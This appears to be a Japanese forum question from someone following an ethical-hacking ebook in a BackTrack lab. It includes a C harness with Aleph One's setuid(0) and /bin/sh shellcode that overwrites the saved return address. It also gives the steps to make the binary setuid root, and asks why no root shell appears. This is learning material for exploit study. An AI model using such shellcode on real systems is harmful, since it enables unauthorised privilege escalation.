Ethical Hacking に関するこの EBook をフォローしていて、Linux Exploit の章に到達しました。これは、Aleph の 1 コードを含むコードです。
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
これにスーパーユーザー権限を与えます。
chmod u+s shellcode
スーパーユーザーとして、通常のユーザーに戻ります
su - normal_user
しかし、実行するとき./shellcode
はルートユーザーになる必要がありますが、代わりにまだnormal_userなので、何か助けはありますか?? ところで、私はBT4-Finalに取り組んでおり、ASLRをオフにして、VMWareでBT4を実行しています...